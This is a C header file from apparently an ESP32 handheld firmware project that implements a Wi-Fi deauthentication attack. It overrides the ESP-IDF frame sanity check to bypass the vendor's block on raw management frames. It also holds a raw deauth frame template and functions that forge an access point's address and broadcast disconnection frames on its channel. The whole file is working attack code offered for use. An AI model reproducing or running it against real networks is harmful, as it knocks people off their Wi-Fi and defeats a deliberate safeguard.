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deauth.h
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deauth.h
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// Borrowed from https://github.com/justcallmekoko/ESP32Marauder/
// Learned from https://github.com/risinek/esp32-wifi-penetration-tool/
// Arduino IDE needs to be tweeked to work, follow the instructions: https://github.com/justcallmekoko/ESP32Marauder/wiki/arduino-ide-setup
// But change the file in: C:\Users\<YOur User>\AppData\Local\Arduino15\packages\m5stack\hardware\esp32\2.0.9\
// info on my github: https://github.com/bmorcelli/m5stickC_Plus2-nemo
#if defined(DEAUTHER)
#include <WiFi.h>
#include "esp_wifi.h"
#include "esp_system.h"
extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
if (arg == 31337)
return 1;
else
return 0;
}
/**
* @brief Sends frame in frame_buffer using esp_wifi_80211_tx but bypasses blocking mechanism
*
* @param frame_buffer
* @param size size of frame buffer
*/
void wsl_bypasser_send_raw_frame(const uint8_t *frame_buffer, int size);
/**
* @brief Sends deauthentication frame with forged source AP from given ap_record
*
* This will send deauthentication frame acting as frame from given AP, and destination will be broadcast
* MAC address - \c ff:ff:ff:ff:ff:ff
*
* @param ap_record AP record with valid AP information
* @param chan Channel of the targetted AP
*/
void wsl_bypasser_send_deauth_frame(const wifi_ap_record_t *ap_record, uint8_t chan);
static const uint8_t deauth_frame_default[] = {
0xc0, 0x00, 0x3a, 0x01,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf0, 0xff, 0x02, 0x00
};
uint8_t deauth_frame[sizeof(deauth_frame_default)];
/**
* @brief Decomplied function that overrides original one at compilation time.
*
* @attention This function is not meant to be called!
* @see Project with original idea/implementation https://github.com/GANESH-ICMC/esp32-deauther
int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
return 0;
}
*/
void wsl_bypasser_send_raw_frame(const uint8_t *frame_buffer, int size){
ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, frame_buffer, size, false));
Serial.println(" -> Sent deauth frame");
}
void wsl_bypasser_send_deauth_frame(const wifi_ap_record_t *ap_record, uint8_t chan){
Serial.print("\Preparing deauth frame to -> ");
for (int j = 0; j < 6; j++) {
Serial.print(ap_record->bssid[j], HEX);
if (j < 5) Serial.print(":");
}
esp_wifi_set_channel(chan, WIFI_SECOND_CHAN_NONE);
delay(50);
memcpy(&deauth_frame[10], ap_record->bssid, 6);
memcpy(&deauth_frame[16], ap_record->bssid, 6);
}
#endif